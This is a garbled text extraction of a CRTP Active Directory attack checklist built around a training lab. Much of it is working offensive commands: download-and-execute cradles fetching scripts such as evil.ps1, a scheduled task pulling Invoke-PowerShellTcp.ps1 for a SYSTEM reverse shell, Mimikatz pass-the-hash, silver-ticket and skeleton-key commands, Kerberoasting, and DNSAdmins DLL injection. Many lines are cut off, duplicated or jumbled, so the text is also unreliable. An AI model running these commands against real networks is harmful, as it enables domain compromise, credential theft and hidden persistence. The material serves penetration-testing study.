CRTP Checklist
CRTP Checklist
2 Introduction to PowerShell
 3 Domain Enumeration (Attacks & Defenses)
 4 Trust & Privileges Mapping
 5 Local Privilege Escalation
 6 Credential Replay Attacks (Over-PTH, Token Replay, etc.)
 7 Domain Privilege Escalation (Attacks & Defenses)
 8 Dumping System & Domain Secrets
 9 Kerberos Attacks & Defense (Golden, Silver Tickets & more)
10 Abusing Cross Forest Trusts (Attacks & Defense)
11 Delegation Issues
12 Persistence Techniques
13 Abusing SQL Server Trusts in an AD environment
14 Detecting attack techniques
15 Defending an AD environment
16 Bypassing Defenses
Tool
 - Active Directory is a directory service used to manage Windows networks.
 - It stores information about objects on the network and makes it easily available to users and admins.
 - Active Directory enables centralized and secure management of an entire network, which might span a building, a city ormu
Powershell Basics
 - Powershell comes built-in with Windows
 - There is another version of Powershell called "Powershell Core" which works on .NET Core.
Powershell Help System
Tool
Powershell
Powershell
Powershell
Powershell
Powershell
Powershell
Powershell cmdlets
 - cmdlets are used to perform an action and a .NET object is returned as the output.
 - cmdlets accept parameters for different operations.
      - For example : Get-Help cmdlet uses parameters like -Full, -Examples, etc.
 - They have aliases and cmdlets are not executables, you can write your own cmdlet with a few lines of script.
Tool
Powershell
Powershell
Powershell Scripts
 - Use cmdlets, native commands, functions, .NET, DLLs, Windows API and much more in a single 'program'
Powershell Scripts : ISE
 - It is a GUI editor/Scripting environment
 - Tab completion, context-sensitive help, syntax highlighting, selective execution, in-line help are some of the useful features
Powershell Scripts : Execution Policy
 - It is NOT a security measure, it is present to prevent user from accidentally executing scripts.
Execution Policy bypass
Tool
command prompt
command prompt
command prompt
PowerShell Modules
Tool
powershell
powershell
PowerShell Script Execution (in-memory)
Tool
PowerShell
PowerShell
ws
l called "Powershell Core" which works on .NET Core.
            Command
            Get-Help <topic>
            Get-Help *
            Get-Help process
            Update-Help
            Get-Help Get-Item -Full
            Get-Help Get-Item -Examples
            Command
            Get-Command -CommandType cmdlet
            Get-Process
ons, .NET, DLLs, Windows API and much more in a single 'program'
nt
p, syntax highlighting, selective execution, in-line help are some of the useful features.
            Command
            powershell -ExecutionPolicy bypass
            powershell -c <command>
            powershell -encodedcommand $env:PSExecutionPolicyPreference = "bypass"
            Command
            Import-Module <module_path>
            Get-Command -Module <module_name>
            Command
            iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;
$ie.navigate('http://192.168.230.1/evil.ps1');sleep
5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
            Description
            Load PowerView
            Then,
            Get-Help Get-NetUser
            Description
            list all cmdlets in a powershell session
            lists the processes running on a system
            Description
            bypass ps execution policy
            bypass ps execution policy
            bypass ps execution policy
            Description
            imports a module
            lists all commands in a module
            Description
Comments
Tool                      Command
Native Executable /       $ADClass = [System.DirectoryServices.ActiveDirectory.Domain]
.NET Classes              $ADClass::GetCurrentDomain()
PowerView https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
AD Module https://github.com/samratashok/ADModule
                                                                                                       Dom
PowerView                 Get-NetDomain
AD Module                 Get-ADDomain
PowerView                 Get-DomainSID
AD Module                 (Get-ADDomain).DomainSID
PowerView Get-DomainPolicy
PowerView                 Get-NetDomainController
AD Module                     Get-ADDomainController
                                                                                                             Dom
PowerView                     Get-NetUser
                              Get-NetUser -Username student1
AD Module                     Get-ADUser -Filter * -Properties *
                              Get-ADUser -Identity student1 -Properties *
PowerView                     Get-UserProperty
                              Get-UserProperty -Properties pwdlastset
AD Module                     Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -
                              MemberType *Property | select Name
- Properties like badpwdcount and pwdlastset help in identifying decoy objects / honeypots.
                                                                                                           Domai
PowerView                     1. Get-NetComputer
                              2. Get-NetComputer -OperatingSystem "*Server2016*"
                              3. Get-NetComputer -Ping
                              4. Get-NetComputer -FullData
                                                                                                            Dom
PowerView   1. Get-NetGroup
            2. Get-NetGroup -Domain <target_domain>
            3. Get-NetGroup -FullData
 - Group Policy provides the ability to manage the configuration and changes easily and centrally in an
AD
 - Allows configuration of Security settings, Registry-based policy settings, group policy preferences like
startup, shutdown, log-on, logoff scripts settings and software installations
 - GPO can be abused for various attacks like privesc, backdoors, persistence,etc.
                                                                                                                 Group
PowerView                        1. Get-NetGPO
                                 2. Get-NetGPO | select displayname
                                 3. Get-NetGPO -ComputerName dcorp-
                                 student1.dollarcorp.moneycorp.local
powershell gpresult /R
PowerView Get-NetGPOGroup
                                                                                                               Access Co
Access Control Model
1. Enables control on the ability of a process to access objects and the other resources in Active Directory
based on :
   - Access Tokens (security context of a process - identity & privs of a user)
   - Security Descriptors (SID of the owner, Discretionary ACL (DACL) & System ACL (SACL))
                                DACL
PowerView                       Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
This ACE record means that BUILTIN\Administrators group have 'CreateChild', 'Self', 'WriteProperty',
'ExtendedRight', 'Delete', 'GenericRead', 'WriteDacl' and 'WriteOwner' rights on the student1 object of
the type 'Allow'
                                                                                                           Domain
Trusts
1. In an AD environment, trust is a relationship between two domains or forests which allow users of one
domain or forest to access resources in the other domain or forest.
2. Trusts can be automatic (parent-child, same forest etc.) or established (forest, external)
3. Trusted domain objects (TDOs) represent the trust relationships in a domain
Trust Directions
1. One-way trust : Unidirectional --> Users in the trusted domain can access resources in the trusting
domain, but the reverse is not true.
2. Bi-directional trust
Trust Properties
1. Transitive trusts
2. Non-transitive trusts
Types of Trusts
1. Default / Automatic Trusts (Eg : Intra-forest trusts)
2. Shortcut Trusts (Used to reduce access time in complex scenarios)
3. External Trusts (b/w two domains in different forests when forests do not have a trust relationship)
4. Forest trusts (b/w root domains of a forest)
PowerView                       Get-NetDomainTrust
                                Get-NetDomainTrust -Domain us.dollarcorp.moneycorp.local
AD Module                       Get-ADTrust
                                Get-ADTrust -Identity us.dollarcorp.moneycorp.local
PowerView                       Get-NetForest
                                Get-NetForest -Forest eurocorp.local
AD Module                       Get-ADForest
                                Get-ADForest -Identity eurocorp.local
PowerView                       Get-NetForestDomain
                                Get-NetForestDomain -Forest eurocorp.local
AD Module                       (Get-ADForest).Domains
PowerView   Get-NetForestCatalog
            Get-NetForestCatalog -Forest eurocorp.local
AD Module   Get-ADForest | select -ExpandProperty GlobalCatalogs
PowerView   Get-NetForestTrust
            Get-NetForestTrust -Forest eurocorp.local
AD Module   Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
                                                                          Use
PowerView   Find-LocalAdminAccess -Verbose
PowerView   Invoke-EnumerateLocalAdmin -Verbose
PowerView   Invoke-UserHunter
            Invoke-UserHunter -GroupName "RDPUsers"
PowerView   Invoke-UserHunter -CheckAccess
                                                                                 Domain Enu
1           Most of the enumeration mixes really well with the normal traffic to the
            DC.
2           Hardening can be done on the DC (or other machines) to contain the
            information provided by the queried machine
                                                                                  Defense aga
NetCease    NetCease is a script that changes permissions on the NetSessionEnum
            method by removing permission for authenticated users group.
SAMRi10     Hardens Windows 10 and Server 2016 against enumeration which uses
            the SAMR protocol (like net.exe)
                    TOOLS
                                           Domain User
Domain User
            Domain Enum
Gets the current domain                    Domain User
                                           Domain User
Domain user
Domain User
             Domain Users
                                                             Domain user
Domain user
                                                             Domain user
Get list of all properties for users in the current domain
Domain User
       Domain Computers
                                                             Domain User
           Domain Groups
                                                        Domain User
Get all the domain groups containing the word "admin" Domain User
in group name                                         Domain User
                                                        Domain User
Get all the members of the Domain Admins Group
                                                        Domain User
                                                        Domain User
Get the group membership for a user
                                                        Domain User
                    Shares
Find shares on hosts in current domain                  Domain User
Find sensitive files on computers in the domain           Domain User
Get all fileservers of the domain                         Domain User
                                                          Domain user
Get Ous in a domain
                                                          Domain user
                                                          Domain user
Get GPO applied on an OU.
Read GPOname from GPLink attribute from Get-NetOU
                                                          Domain user
Domain user
Get the ACLs associated with the specified LDAP path to Domain user
be used for search
Get the ACLs associated with the specified path Domain user
Domain user
Domain user
                                                         Domain user
Get all domains in the current forest
                                                         Domain user
Get all global catalogs for the current forest         Domain user
(returns all machines that have a copy of the global
catalog)                                               Domain user
                                                       Domain user
Map trusts of a forest
                                                       Domain user
             User Hunting
Find all machines on the current domain where the      Domain user
current user has local admin access
Find local admins on all machines of the domain    Needs admin
                                                   privs on non-
                                                   DC machines
  .\NetCease.ps1
  Restart-Service -Name Server -Force
  https://kurtsh.com/2016/12/19/download-samri10-tool-for-hardening-sam-remote-access-in-windows-10server-2016/
Information Obtained / Comments
 - Forest
 - DCs
 - Parent Domain
 - Current Domain
 - Child domains of current domain
Provided the current domain has trust with the queried domain
Provided the current domain has trust with the queried domain
1. IP address
2. name
3. OS
1. IP address
2. name
3. OS
4. LDAP / LDAPS port no.
Restricted groups are those groups that are pushed through the group policy and are
part of the local groups on your machine
Say we create a user and make it part of "RDP users" group in all the machines using
group policy, then we can enumerate such users using Find-GPOComputerAdmin
Both of these commands are only valid if there are groups that use group policies to
push/create/delete/modify objects in a domain.
SACL
Interesting ACEs mean the ones where we have write or modify permissions instead of
the default read rights
This function queries the DC of the current or provided domain for a list of computers
(Get-NetComputer) and then use multi-threaded Invoke-CheckLocalAdminAccess on
each of those machines. Since this function is extremely noisy and can cause a network
spike, it is better to run it in chunks of machines (using the option -ComputerFile)
rather than all machines at once. The function leaves a 4624 (logon event) or 4634
(logoff event) for each machine on the domain.
This same function can also be done with the help of remote administration tools like
WMI and powershell remoting. It is pretty useful in cases where ports of RPC and SMB
(which are used by Find-LocalAdminAccess) are blocked. In such cases, you can use an
alternate tool --> Find-WMILocalAdminAccess.ps1 (this is because, WMI by-default
requires local admin access)
This function queries the DC of the current or provided domain for a list of computers
(Get-NetComputer) and then use multi-threaded Get-NetLocalGroup on each machine.
This function queries the DC of the current or provided domain for members of the
given group (Domain admins by default) using Get-NetGroupMember, gets a list of
computers (Get-NetComputer) and list sessions and logged on users (Get-NetSession /
Get-NetLoggedon) from each machine
This function queries the DC of the current or provided domain for members of the
given group (Domain admins by default) using Get-NetGroupMember, gets a list of only
high value targets (high traffic servers) - DC, File servers & distributed file servers, for
being stealthy and generating lesser traffic and lists sessions and logged on users (Get-
NetSession / Get-NetLoggedon) from each machine
                                                                                                  Service issues
PowerUp                    Get-ServiceUnquoted -Verbose
(. .\PowerUp.ps1)
                                                                                            Unquoted Servi
1                          If we want to abuse/exploit the Unquoted Service Path Vuln, then the
                           privileges with which the service runs should be of some higher
                           privilege than what we have currently. (This can be seen in the
                           "StartName" attribute as seen in the image below)
2                           If we want to abuse/exploit the Unquoted Service Path Vuln, then we
                            must have the capability to restart the service (which can be found out
                            from "CanRestart" attribute in the above image)
                                                                                                          Jenkins Fe
 - What we have been doing up to now (and will keep doing further ahead as well) is relying on
features abuse.
 - Features abuse are awesome as there are seldom patches for them and aren't the focus of
security teams.
 - One of the best features abuse is targeting enterprise applications which are not built keeping
security in mind.
 - On windows, many enterprise applications need either Administrative privileges or SYSTEM
privileges making them a great avenue for privilege escalation.
 - While trying to brute-force jenkins, it is always a good bet to try reverse of username as the
password.
What can you do if you have a normal user account on jenkins?
 - See for all projects if we have the 'configure' option.
This is because :
 - If you don't have admin access but could add/edit build steps in the build configuration, then
we can add a build step, add "Execute Windows Batch command" and enter powershell -c <cmd>
 - This way it is possible to download and execute scripts, run encoded scripts and more.
In cases where there are already multiple builds for a project, if you have the permission to, then
shuffle your build to be the top most one as jenkins does not run the builds post the build that
fails.
This is because :
 - If you don't have admin access but could add/edit build steps in the build configuration, then
we can add a build step, add "Execute Windows Batch command" and enter powershell -c <cmd>
 - This way it is possible to download and execute scripts, run encoded scripts and more.
In cases where there are already multiple builds for a project, if you have the permission to, then
shuffle your build to be the top most one as jenkins does not run the builds post the build that
fails.
  Description                                                    Privileges
  1. C:\Windows\Panther\unattend.xml --> usually contains
  passwords of atleast local admins in clear text.
  2. C:\Windows\System32\Sysprep\Sysprep.xml --> usually
  contains creds in clear text.
  3. Autologon passwords are stored in Windows Registry in clear
  text which can also be extracted
  Get services where the current user can write to its binary path
  or change arguments to the binary
  Get the services whose configuration current user can modify
  (such as make the service temporarily point to another binary,
  etc.)
  Get list of all the services on this machine and their info.
  Get list of the bin paths of all the services on this machine
Ingestors
 - They ingest the data and supply the data to BloodHound
(SharpHound.ps1 is an ingestor)
 - Invoke-BloodHound -CollectionMethod All -Verbose
 - The generated archive can be uploaded to the BloodHound
Application
 - To avoid detections like Advanced Threat Analytics (ATA) :
   Invoke-BloodHound -CollectionMethod All -ExcludeDC
Domain
Admins
Commands
Invoke-BloodHound -CollectionMethod All -Verbose
Invoke-BloodHound -CollectionMethod LoggedOn -Verbose
Ctrl key
Right click on a group node > Click 'Expand'
Description
Collect all domain data
Collect the session details of the domain users as well
Turns on/off the node labels
Shows the members of the group
Tool               Command
                                                                    LATERAL MOVEMENT WITH PO
What we have done till now?
 - We have extensively enumerated our domain (powerview, ad module, group policy module, bloodhound)
 - We have escalated our privileges locally
 - We have also found other machines in the domain where we have local admin access.
 - So, now we will learn lateral movement techniques so that we can learn to use our local admin rights to escalate our
privileges to a domain level.
 - One of the most common and powerful techniques of lateral movement is the protocol - PowerShell Remoting.
 - PowerShell Remoting is an administration capability which is baked into newer version of windows that allows admins to do
multiple tasks on multiple machines in a really fast manner.
 - You will find this increasingly used in enterprises. It is enabled by default on Server 2012 onwards.
 - You may need to enable remoting (Enable-PSRemoting) on a Desktop windows machine and Admin privs are required to do
that.
 - You get elevated shell on a remote system if admin creds are used to authenticate (which is the default setting)
If we try to run a script or a cmdlet on a remote machine through PS Remoting and it does not run / produces an error
message, chances are that the powershell session that we are on (of the remote machine) is running in a constrained language
mode. When a powershell session is running in a constrained language mode, it has a list of actions that cannot be executed
(like dangerous scripts, etc.)
In our case, on dcorp-adminsrv, app locker is configured. Powershell v5 is smart enough to restrict itself in a constrained
language mode if the applocker is configured in "allow" mode on the powershell.exe
message, chances are that the powershell session that we are on (of the remote machine) is running in a constrained language
mode. When a powershell session is running in a constrained language mode, it has a list of actions that cannot be executed
(like dangerous scripts, etc.)
In our case, on dcorp-adminsrv, app locker is configured. Powershell v5 is smart enough to restrict itself in a constrained
language mode if the applocker is configured in "allow" mode on the powershell.exe
                    function hello
                    {
                    Write-Output "Hello from function"
                    }
Writing to LSASS.exe
Mimikatz (Invoke- Invoke-Mimikatz -Command ' "sekurlsa::pth
Mimikatz)          /user:Administrator
                   /domain:dollarcorp.moneycorp.local
                   /ntlm:<ntlm_hash> /run:powershell.exe" '
             Description                                        Privileges
       LATERAL MOVEMENT WITH POWERSHELL REMOTING
                                                                 - PowerShell Remoting by default uses TCP port 5985 (which is based on
 d module, group policy module, bloodhound)                      - 5985 (HTTP Transport Protocol)
                                                                 - 5986 (With SSL)
e have local admin access.                                      Types of PS Remoting :
we can learn to use our local admin rights to escalate our       - One-to-One (interactive login to the machine, creds are not left unless
                                                                credSSP or unconstrained delegation on the target machine.)
                                                                 - One-to-Many
           Using "Over pass the hash" to generate tokens from admin privs
           hashes
            Information Obtained / Comments
ERSHELL REMOTING
owerShell Remoting by default uses TCP port 5985 (which is based on Win-RM)
985 (HTTP Transport Protocol)
986 (With SSL)
es of PS Remoting :
ne-to-One (interactive login to the machine, creds are not left unless there is
 SSP or unconstrained delegation on the target machine.)
ne-to-Many
-To-One :
 orks over a session called PSSession (PSSession is interactive, runs in a new process
 d wsmprovhost and is a stateful session)
seful cmdlets:
 New-PSSession
 Enter-PSSession
nter-PSSession does not have a parameter like -FilePath to specify a script to run
otely as in the case of Invoke-Command (One-To-Many)
er-PSSession)
VOKE-MIMIKATZ
                    Get-SQLInstanceDomain | Get-
                    SQLConnectionTestThreaded -Verbose
 - A database link allows a SQL server to access external data sources like other SQL servers and OLE DB Data Sources or even
 - Incase of database links between SQL servers, that is, linked SQL servers, it is possible to execute stored procedures.
 - Database links work even across forest trusts.
Searching for Database Links
Tool               Command
PowerUpSQL         Get-SQLServerLink -Instance dcorp-mssql -Verbose
HeidiSQL           select * from master..sysservers
Executing commands
 - On the target server, either xp_cmdshell should be already enabled
                               (or)
 - If rpcout is enabled (disbled by default), xp_cmdshell can be enabled using:
       EXECUTE('sp_configure,"xp_cmdshell",1;reconfigure;') AT "eu-sql"
            Description                                           Privileges
                                                                  domain user
                       Look for links to Remote Servers
abled
nabled using:
eu-sql"
Note :
Kerberoast is generally targeted at user accounts which are used as service accounts.
So, how do we / how does a DC find out which user accounts are used as service accounts?
 - If a user accounts Service Principal Name (SPN) is NOT NULL, then the KDC assumes that user account to be used as Service
Tool                Command
PowerView           Get-NetUser -SPN
Once we have identified the users who's SPNs are not null, we can request the TGS for those users
Request-SPNTicket from PowerView can also be used for cracking with John or Hashcat
PowerShell          klist
Once we have TGS in memory (confirmed by klist), we can save them to disk using Mimikatz
Tool                Command
PowerView_Dev       Get-DomainUser -PreauthNotRequired -Verbose
AD Module           Get-ADUser -Filter {DoesNotRequirePreAuth -eq
                    $True} -Properties DoesNotRequirePreAuth
Let's enumerate the permissions for RDPUsers on ACLs using PowerView Dev
Let's enumerate the permissions for RDPUsers on ACLs using PowerView Dev
Tool                Command
PowerView_Dev       Invoke-ACLScanner -ResolveGUIDs | ?
(Step 1 )           {$_.IdentityReferenceName -match "RDPUsers"}
PowerView_Dev       Set-DomainObject -Identity Control1User -XOR
(Step 2)            @{useraccountcontrol=4194304} -Verbose
- Once the preauth disabled users are identified, we request for the encrypted AS-REP for offline brute-force (using ASREPRo
Tool                Command
ASREPRoast          Get-ASREPHash -UserName VPN1user -Verbose
Tool                 Command
PowerView_Dev        Invoke-ACLScanner -ResolveGUIDs | ?
(Step 1 )            {$_.IdentityReferenceName -match "RDPUsers"}
PowerView_Dev        Get-DomainUser -Identity support1user | select
(Step 2 )            serviceprincipalname
AD Module            Get-ADUser -Identity support1user -Properties
(Step 2)             ServicePrincipalName | select
                     ServicePrinicipalName
PowerView_Dev        Set-DomainObject -Identity support1user -Set
(Step 3)             @{serviceprincipalname='dcorp\whatever1'}
AD Module            Set-ADUser -Identity support1user -
(Step 3)             ServicePrincipalNames @{Add='dcorp\whatever1'}
PowerShell           klist
(Step 5)
Once we have TGS in memory (confirmed by klist), we can save them to disk using Mimikatz
            Description                                            Privileges
            Check the SPNs (if they are null or not null) of the   Domain User
            user accounts
            Check the user accounts who's SPNs are not null        Domain User
            Export all tickets in memory onto the disk using        Domain User
            mimikatz
            Crack the service account password                      Any user
 Roasting)
e Kerberos preauthentication" enabled, i.e, Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offl
  Preauth can be forced disabled as well.
 d.
ed are when users are connecting via VPN or when Linux machines are connected to Active Directory.
Description Privileges
PowerView Dev
PowerView Dev
            Description                                           Privileges
            Find users of RDPUsers group who have FullControl     Domain User
            or Write permissions
            Forcefully disable Kerberos Preauth on users that we Domain User
            have FullControl or Write permissions on (here,
            Control1User)
            To check if the Preauth is disabled                   Domain User
for the encrypted AS-REP for offline brute-force (using ASREPRoast tool)
            Description                                           Privileges
            Request hash for a particular Kerberos Preauth        Domain User
            disabled user (here, VPN1user)
            Enumerate all users with Kerberos Preauth disabled Domain User
            and request a hash
N)
 's SPN can be set to anything (unique in the domain).
 vice account and we will be able to request a TGS for offline cracking.
at <machine_name>\<service_name>
ce name to be valid, it just has to be unique.
             Description                                            Privileges
             Find users of RDPUsers group who have FullControl      Domain User
             or Write permissions
             Export all tickets in memory onto the disk using       Domain User
             mimikatz
- Please note that, in both types of delegations, a mechanism is required to impersonate the incoming user and authenticate
Unconstrained Delegation
 - When set for a particular service account, unconstrained delegation allows delegation to any service to any resource on the
 - When unconstrained delegation is enabled, the DC places user's TGT inside TGS. When presented to the server with uncons
TGT to access any other resource as the user.
 - This can be used to escalate privileges in case we can compromise the computer with unconstrained delegation and a Doma
 - If we have local admin privs on the web server(say, via a compromise), then it is possible to extract the TGTs from the LSASS
web server, we may even be able to get the TGT of the Domain Admin user.
Tool                 Command
PowerView            Get-NetComputer -UnConstrained
In our case, dcorp-appsrv is a machine which has unconstrained delegation enabled on it, now from dcorp-adminsrv we got
appadmin and run Find-LocalAdminAccess to see which other machines is appadmin a local admin on. And, we find that app
Once, we identify the machine where unconstrained delegation is enabled, we need to compromise those server(s)
Sometimes, there are no DA tokens on the server at that instance, so what we can do is poll for every few (say, 100) second
This can be done as follows:
Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose
Once, we obtain a Domain Admin ticket, we can use Mimikatz to perform Pass the Ticket
ls \\dcorp-dc.dollarcorp.moneycorp.local\c$ - To check
Constrained Delegation
 - Constrained Delegation when enabled on a service account, allows access only to specified services on specified computers
 - A typical scenario where constrained delegation is used - A user authenticates to a web service without using Kerberos and
 - To impersonate the user, Service for User (S4U) extension is used which provides two extensions:
     * Service for User to Self (S4U2self) - Allows a service to obtain a forwardable TGS to itself on behalf of a user with just t
AUTHENTICATE _FOR_DELEGATION - T2A4D UserAccountControl attribute.
     * Service for User to Proxy (S4U2proxy) - Allows a service to obtain a TGS to a second service on behalf of a user. Which
attribute contains a list of SPNs to which the user token can be forwarded.
To abuse constrained delegation in above scenario, we need to have access to the websvc account. If we have access to that a
Tool                   Command
PowerView (Dev)        Get-DomainUser -TrustedToAuth
Note that, in order to proceed, we need to either have the plaintext password or NTLM hash of the websvc account (require
In this case, we already have access to websvc's hash from dcorp-adminsrv
Using asktgt from kekeo, we request a TGT (steps 2 and 3 of the constrained delegation diagram)
Tool                   Command
kekeo                  tgt::ask /user:websvc
( a tool to read and   /domain:dollarcorp.moneycorp.local /rc4:<websvc's
write without having   hash>
admin privs)
Using s4u from Kekeo, we request a TGS (steps 4 & 5 of the constrained delegation diagram)
Tool                   Command
kekeo                  tgs::s4u /tgt:<.kirbi file received from asktgt>
( a tool to read and   /user:Administrator@dollarcorp.moneycorp.local
write without having   /service:cifs/dcorp-mssql.dollarcorp.moneycorp.local
admin privs)
Tool                   Command
Mimikatz (Invoke-      Invoke-Mimikatz -Command ' "kerberos::ptt <.kirbi
Mimikatz)              TGS file>" '
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$
 - Another interesting issue in Kerberos is that the delegation occurs not only for the specified service, but for any service run
 - This is huge, as it allows access to many interesting services (like LDAP) when the delegation may be for a non-intrusive serv
kekeo                tgt::ask /user:dcorp-adminsrv
( a tool to read and /domain:dollarcorp.moneycorp.local /rc4:<adminsrv's
write without having hash>
admin privs)
 r web service must be trusted for delegation to be able to make requests as a user.
p problem.
egation on it (i.e, if the service account of the web service is trusted for delegation), then it can impersonate the user that has authenticate
he first hop server (web server in our example) to request access to any service on any computer in the domain.
web server in our example) to request access only to specified services on specified computers. If the user is not using Kerberos authentic
 st to Kerberos.
equired to impersonate the incoming user and authenticate to the second hop server (Database server in our example) as the user.
ation allows delegation to any service to any resource on the domain as a user.
s TGT inside TGS. When presented to the server with unconstrained delegation, the TGT is extracted from the TGS and stored in LSASS. Th
ise the computer with unconstrained delegation and a Domain Admin connects to that machine.
omise), then it is possible to extract the TGTs from the LSASS process. And, moreover, if high value targets like DAs authenticate to the we
dmin user.
           Description                                            Privileges
delegation enabled on it, now from dcorp-adminsrv we got access to 'appadmin' user. So, we spawn a powershell process with the priv
achines is appadmin a local admin on. And, we find that appadmin is a local admin on dcorp-appsrv (machine with unconstrained deleg
           To check the current tokens and save the tickets to    local admin privs
           the disk
            check if any DA tokens are available
e, so what we can do is poll for every few (say, 100) seconds and check if an Administrator( or DA ) Token is obtained on the server.
col Transition
ave access to the websvc account. If we have access to that account, it is possible to access the services listed in msDS-AllowedToDelegate
           Description                                         Privileges
           Discover Domain user accounts which have            Domain User
           constrained delegation enabled
           Description                                         Privileges
           we request a TGT                                    Domain user
trained delegation diagram)
            Description                                             Privileges
            we request a TGS                                        domain user
            Description                                             Privileges
            Loading TGS obtained into the current session           domain user
urs not only for the specified service, but for any service running under the same account. There is no validation for the SPN specified.
e LDAP) when the delegation may be for a non-intrusive service!
we request a TGT                                   Domain user
user.
tion), then it can impersonate the user that has authenticated to it and access ANY service in the
.
n, the TGT is extracted from the TGS and stored in LSASS. This way the server can re-use the user's
ts to that machine.
oreover, if high value targets like DAs authenticate to the web server, then as a local admin on the
           Information Obtained / Comments
name without supplying a password. The service account must have the TRUSTED_TO
ble to access the services listed in msDS-AllowedToDelegateTo of the websvc account as ANY user.
Information Obtained / Comments
Reference articles:
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83#:~:text=In%20ad
http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html#:~:tex
Tool                  Command
PowerView             Get-NetGroupMember -GroupName "DNSAdmins"
AD Module             Get-ADGroupMember -Identity DNSAdmins
Once, we know the members of the DNSAdmins group, we need to compromise a member.
We already have the hash of srvadmin (in this case), because of derivative local admin.
(Invoke-Mimikatz -Command ' "sekurlsa::pth /user:srvadmin /domain:dollarcorp.moneycorp.local /ntlm:<hash> /run:powe
From the privs of DNSAdmins group member, configure DLL using dnscmd.exe (needs RSAT DNS):
Tool                 Command
Method 1:            dnscmd dcorp-dc /config /serverlevelplugindll \\
dnscmd.exe           172.16.50.100\dll\mimilib.dll
Method 2:             Step 1:
DNSServer module      $dnsettings = Get-DnsServerSetting -ComputerName
                      dcorp-dc -Verbose -All
                      Step 2:
                      $dnsettings.ServerLevelPluginDll = "\\172.16.50.100\
                      dll\mimilib.dll"
                      Step 3:
                      Set-DnsServerSetting -InputObject $dnsettings -
                      ComputerName dcorp-dc -Verbose
Tool                   Command
cmd prompt             sc \\dcorp-dc stop dns
cmd prompt             sc \\dcorp-dc start dns
If the DLL injection is successful (injecting mimilib.dll into the DNS service), then a file name 'kiwidns.log' is created and stor
All the requests sent to the domain's DNS server gets logged in kiwidns.log file.
bitrary DLL with the privileges of dns.exe (SYSTEM)
o DA.
rt the DNS service. (by-default, the DNSAdmins are not given privs to restart the DNS service)
c-compromise-in-one-line-a0f779b8dc83#:~:text=In%20addition%20to%20implementing%20their,integration%20with%20Active%20Dire
mins-privilege-for-escalation-in-active-directory.html#:~:text=Feature%20abuses%20are%20as%20lethal,privileges%20on%20the%20DNS%
Description Privileges
o compromise a member.
erivative local admin.
main:dollarcorp.moneycorp.local /ntlm:<hash> /run:powershell.exe" ')
 service), then a file name 'kiwidns.log' is created and stored in System32 folder.
widns.log file.
he DNS service)
 plementing%20their,integration%20with%20Active%20Directory%20domains.
ses%20are%20as%20lethal,privileges%20on%20the%20DNS%20server.
der.
- NTLM password hash uses Kerberos RC4 for encryption
- Logon Ticket (TGT) provides user auth to DC
- Kerberos policy is only checked when the TGT is created
- DC validates user account only when TGT > 20 mins
- Service Ticket(TGS) PAC validation is optional and rare
  - Server LSASS sends PAC Validation request to DCs netlogon service
  - If it runs as service, PAC validation is optional
  - If a service runs as SYSTEM, it performs server signature verification on the PAC (computer account long-term key)
PowerShell    klist
PowerShell        ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
Tool              Command
Mimikatz          Invoke-Mimikatz -Command ' "lsadump::lsa /patch" ' -
(Invoke-          ComputerName dcorp-dc.dollarcorp.moneycorp.local
Mimikatz)
Mimikatz            Invoke-Mimikatz -Command ' "kerberos::golden
(Invoke-            /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
Mimikatz)           268341927-4156871508-1792461683 /target:dcorp-
                    dc.dollarcorp.moneycorp.local /service:CIFS
                    /rc4:6f5b5acaf7433b3282ac22e21e62ff22
                    /user:Administrator /ptt" '
 - The above command can be used for any other service on a machine as well, such as HOST, RPCSS, WSMAN and many more
(https://adsecurity.org/?page_id=183) --> List of services and their SPNs
 - There are various ways of achieving command execution using silver tickets.
 - Creating a silver ticket for the HOST SPN which will allow us to schedule a task on the target:
 Invoke-Mimikatz -Command ' "kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-415687150
/rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt" '
 - Schedule and execute a task (HOST SPN allows us to schedule tasks on the DC) :
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powe
'http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1' ' ')' "
Here, we have created a task to fetch a reverse shell with the NT Authority\SYSTEM privs and the name of the task is "STCheck
Tool               Command
Mimikatz           Invoke-Mimikatz -Command ' "privilege::debug"
(Invoke-           "misc::skeleton" ' -ComputerName dcorp-
Mimikatz)          dc.dollarcorp.moneycorp.local
 - Now it is possible to access any machine with a valid username and password as "mimikatz"
Enter-PSSession -ComputerName dcorp-dc -credential dcorp\Administrator
This prompts a window asking for the password ("mimikatz")
 - In case lsass is running as a protected process, we can still use the skeleton key, but it needs the mimikatz driver (mimidriv.s
mimikatz# privilege::debug
mimikatz# !+
mimikatz# !processprotect /process:lsass.exe /remove
mimikatz# misc::skeleton
mimikatz# !-
- Note that above would be very noisy in logs - Service installation(Kernel mode driver)
PERSISTENCE - DSRM
 - DSRM is Directory Services Restore Mode
 - There is a local administrator on every DC called "Administrator" whose password is the DSRM password. (Note that this is
 - DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed.
 - After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC.
 - DSRM password is used for the purpose of rebooting DC in a SafeMode
Tool               Command
Mimikatz           Invoke-Mimikatz -Command ' "token::elevate"
(Invoke-           "lsadump::sam" ' -ComputerName dcorp-dc
Mimikatz)
- Since DSRM password is of the local administrator of the DC, we can pass the hash to authenticate.
- But, the logon behaviour for the DSRM account needs to be changed before we can use it's hash.
This is done as follows :
Step 1             Enter-PSSession -Computername dcorp-dc
